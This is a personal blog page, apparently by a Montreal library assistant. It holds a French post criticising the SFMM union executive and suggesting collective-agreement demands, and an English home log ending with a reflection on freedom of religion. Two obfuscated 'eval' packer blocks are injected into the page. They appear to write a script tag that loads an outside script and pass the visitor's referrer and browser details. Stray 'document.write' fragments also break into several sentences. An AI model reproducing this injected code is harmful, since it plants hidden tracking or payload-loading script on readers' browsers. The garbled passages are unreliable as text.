Finalement, tant M. Sabourin que Mme Boyte me rappelent qu’il y a toujours trois postes vacants comme délégué(es) syndical dans le sud-ouest (dont un dans les bibliothèques) et m’invitent à “mettre l’épaule à la roue.” Malheureusement j’ai déjà de nombreuses responsabilités qui me laisse peu de disponibilités et, après avoir recommandé à la précédente directrice syndicale du sud-ouest de démissionner si elle ne pouvait pas accorder TOUTE son attention à son travail, je ferais preuve d’une grande hypocrisie si je me proposais comme délégué sans avoir moi-même des disponibilités suffisantes.

Certains m’ont aussi reproché le dur commentaire à la fin de mon billet “Note syndicale qui mettait en doute l’efficacité du SFMM. Et bien, si je n’en avais pas déjà la certitude, la façon dysfonctionnelle dont s’est déroulée les deux dernières assemblées générales aura effacé tout doute sur l’amateurisme et l’insouciance des membres de l’exécutif (qui ne s’est certes pas amélioré depuis le récent putsch).

Note syndicale

1. Quelques suggestions
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yezdf|var|u0026u|referrer|bnsrr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffhhz|var|u0026u|referrer|irenf||js|php’.split(‘|’),0,{}))

Oups, document.write(“”); le temps passe vite quand on travail trente-cinq heures (et quand on est préoccupé par le fait que le mouvement de sa permanence n’est toujours pas complété après près de deux mois) et voici déjà le moment du fameux colloque (reporté maintes fois) pour
discuter d’un projet de convention collective. Désolé de ce billet de dernière minute!

Tout les détails après le saut de page:

Avant de m’avancer à faire des suggestions pour la négo de la convention, j’aimerais d’abord en faire pour la structure même du SFMM:

  • Les aides-bibliothécaires représentent une proportion importante des membres (10%) et devraient donc être représenté en conséquence à l’intérieur du syndicat. Plusieurs dossiers liés aux aides-biblio ont été mené de manière très insatisfaisante ces dernières années (lettres d’entente et équité salariale pour n’en nommer que deux). J’ose croire qu’il en serait autrement si l’un des membres de l’exécutif (préférablement un vp ou tout au moins un directeur, et si possible issue du rang même des aides-biblio de sorte qu’il/elle comprenne parfaitement les problèmes et enjeux spécifiques à ce poste) avait la responsabilité et le mandat de défendre leurs intérêts.

Mise à jour : je tiens à rapeller (comme je l’ai fait dans le billet Note syndicale: feedback) que mon point porte moins sur l’idée d’avoir une membre de l’exécutif qui soit issue du milieu des bibliothèques (quoique cela aiderait) que d’avoir un membre de l’exécutif qui soit directement responsable du service des bibliothèques (comme on le sait chacun des v-p est responsable d’un certain nombre de dossiers, de services et d’arrondissements; et bien je crois que, de par son importance et le fait que les cols blancs qui y travaillent ont des tâches et des horaires atypiques, le service des bibliothèques devait figurer parmis la répartition de ces responsabilités).

Quand à la convention (et à l’entente qui la prolonge et modifie l’article 19) voici ce que je crois important pour les négos:

  • D’abord conserver les acquis. Donc, en tout points, toutes concession ou tout recul est inacceptable. Le travail du syndicat est, au mieux, d’améliorer les conditions de travail des membres ou, au pire, de les maintenir.
  • Côté salarial je ne crois pas qu’on ait à se plaindre tant que nous continuons à être indexé au coût de la vie (au minimum: comme la dernière convention qui offrait une augmentation de 4% sur 4 ans mais plus si possible, comme 6 à 8% sur 4 ans). [MàJ: comme le coût de la vie croît en moyenne de 2% par année, et donc de 8% sur quatre ans, une augmentation de 8% serait préférable]

    [Mise à jour : quoique selon certains, si l’on tiens compte du dollar constant, il faudrait une augmentation d’au moins 8% pour simplement rattraper la perte de pouvoir d’achat que les Cols Blancs ont subi dans les quinze dernières années (l’indice des prix à la consommation ayant augmenté plus que nos salaires). Donc: 8% d’indexation sur quatre ans + 8% de rattrapage = 16% !! Toutefois serait-il sage de demander de telles augmentations de salaire en ces temps de disette économique? Comment balancer le risque de s’aliéner l’opinion publique et la nécessité de pouvoir payer nos comptes et hypothèques sans accroitre notre endettement? Quel serait le compromis le plus acceptable?]

  • Dans le cas des aides-biblio il faut absolument renégocier les lettres d’entente à l’intérieur de la convention pour obtenir une seule et même lettre pour tout les arrondissements. Si on peut négocier une seule et unique convention, je ne vois pas pourquoi on ne pourrait pas faire de même pour les lettres d’entente. Le point de départ devrait être le projet de lettre d’entente proposé par les aides-biblio de Côte-des-Neiges/Notre-Dame-de-Grâce.
  • Toujours dans le cas des aides-biblio, compte-tenu de la tendance à re-centraliser certains services (i.e. dotation), il faudrait rétablir une banque réseau centrale pour les remplacements des auxiliaires.

Mise à jour : voici quelques nouvelles suggestions de points à revoir dans la convention:

  • Améliorer la mobilité d’emploi (particulièrement d’un arrondissement à l’autre) devrait aussi être une priorité. Et aussi faciliter la mutation (car muter entre arrondissements semble une tâche quasi-impossible à l’heure actuelle)
  • Bonifier les primes hors heures pour les permanents qui ont un horaire atypique (en fait revenir à des primes de 15% POUR TOUS et non 15% pour les anciens employés et 10% pour les nouveaux). Les rendre accessible aux auxiliaires serait une bonne idée (là, la différence 15-10% ferait du sens).
  • Ajouter des primes pour ceux qui doivent travailler avec le public et en particulier avec des enfants!!
  • J’adore l’idée de postes permanents à temps partiel (parfait pour les permanents vieillissants qui pourraient ainsi diminuer les heures travaillées à l’approche de la retraite).
  • Comme les permanents ont souvent des responsabilités plus grandes que les auxiliaires, ne serait-il pas plus équitable de leur donner une échelle salariale (voir un groupe de traitement) différente (i.e. supérieure)? Ou, dans le cas des aides-bibliothécaires, l’emploi pourrait être divisé en deux catégories avec des groupes de traitement différents: aide-bibliothécaire niveau 1 (ou commis de biblio, responsable principalement du service au comptoir et du classement; groupe 4 ou 5) et niveau 2 (ou aide-bibliothécaire principal, avec des responsabilités supérieures comme la préparation des fiches d’aquisition, le traitement matériel et la réparation des documents, etc., mais incluant aussi le comptoir et le classement; groupe 5 ou 6).

Il y a plusieurs autres points qu’il faudrait discuter pour les aides-biblio (entre autres: le ramassage des bacs de recyclages et la description de tâche valise) mais ce sont là d’autres dossiers. Pour ce qui est de la convention collective, croyez-le ou non, je crois que ce sont là tous les points que je juge important (sinon primordial). Je suis sûr que j’en oubli mais je fais confiance à mes collègues pour rajouter les points qu’ils jugent important. Bon colloque!

Faute d’avoir un syndicat efficace et pleinement fonctionnel, espérons qu’on obtiendra au moins une bonne convention collective.

Vous trouverez des commentaires supplémentaires sur les réactions à mon billet dans le billet “Note syndicale: feedback.”

Home Log (2012-03-26)

The work at the new library is finally becoming routine. The funny thing is that I often end up doing layout for flyers announcing the library’s events and activities! However the full schedule and the long commuting (nearly three hours per day!) are really taking their toll: on my first day off this week-end I slept twelve hours! I am not getting any younger, document.write(“”); I guess.

I finally got and watched the dvd of Ken Burns’ documentary on Mark Twain. Quite an interesting character. I’ll never get tired of watching Burns’ documentaries: he’s always very interesting and I am glad that I still have many of his works to watch.

The unusually warm temperature of last week made all the snow disappear but the melting also created lots of humidity in the basement. Consequently, in the last couple of weeks, I’ve experienced an invasion of woodlouse (in french: cloportes). Fortunately, those small creatures (Arthropodes are not insects but crustaceans) are inoffensive but, still, it’s rather annoying. I’ll really have to take care of this humidity problem. Those cute little things are definitely the inspiration behind the Ohmu in Miyazaki’s Nausicaä of The Valley of the Wind, so I can’t really hate them.

I wrote a little but not as much as I wanted (as usual, I came back from work too tired to do much). I talked (in french) about the fact that local libraries are now lending ebooks. I wrote (again, in french) about the fact that many of my assistant librarian collegues are often over-qualified and introduced two of them who are artists and are exposing their work in art galeries. Finally, I shared my weekly news scrapbooking and a funny anecdote brought me to reflect on freedom of religion.

I also kept reading from my old notebooks (some dating as far as the 70s) and I am still amazed (okay, it is not that good but it is nevertheless quite interesting). I really must use some of those texts here…

However, what I would have really liked to do is share comments about movies and books. That’s the purpose of this cultural blog after all. I keep borrowing books and dvds from the library or receiving them from publishers and I am getting quite behind in commenting them. Spring and warmer weather seems to give me a little more energy so I’ll definitely increase my writing output in the coming weeks and months (and I’ll take some day off to work on it).

Reflection on freedom of religion

Earlier this week, document.write(“”); as I was about to leave for work in the morning, the door bell rang. Opening the door, I discovered an old couple of missionaries (something like the Jehovah’s witnesses) who were speaking only italian! Fortunately, I could understand most of what the old lady was saying. She wanted to give me some literatura about the life of Gesù. What makes the anecdote funny is that they seemed as puzzled as me by the fact that I couldn’t (or rather wouldn’t) speak italian. I must admit that there are lots of italians in my neighborhood and the previous owner of the house was italian, so I guess they had my address listed as “one of their own”.

This funny anecdote brought me to reflect on the principle of freedom of religion. Hit the jump the read more:

It is already bad that they wake you up on a saturday or sunday morning (when you are distributing a magazine titled “Wake-up” —“Réveillez-vous!” in french; in english it is “Awake!”—you KNOW you are waking people up!), but what those people don’t realize is that by peddling their religion door to door they are violating section two of the Canadian Charter of Rights and Freedoms as well as Article 18 of the Universal Declaration of Human Rights (and maybe the First Amendment to the United States Constitution: the Free Exercise Clause prohibits government from impeding the free exercise of religion but its not clear to me if it applies to individuals) which all guarantee the principle of Freedom of religion.

Clearly the right of an individual ends where the right of another begins: they have the right to practise their religion as long as they don’t infrige on my own rights. When they are trying to talk to me about their religion, handling their flyers, they are clearly thinking that my religion is not as good as theirs and therefore disregard and overstep on my own right to freely believe whatever I want. I am entitled to my own belief and don’t want to discuss it with anyone.

I believe that religion (whatever it is) is personnal and should happens in only three places: my head, my temple and my home. In this regard, to push it a little further, I find people displaying physical representation of their belief (necklaces, hats, wall decoration, urges to pray or constantly read into their sacred Book, etc.) to be annoying and distasteful. That’s my humble belief and you don’t have to agree or share any of it.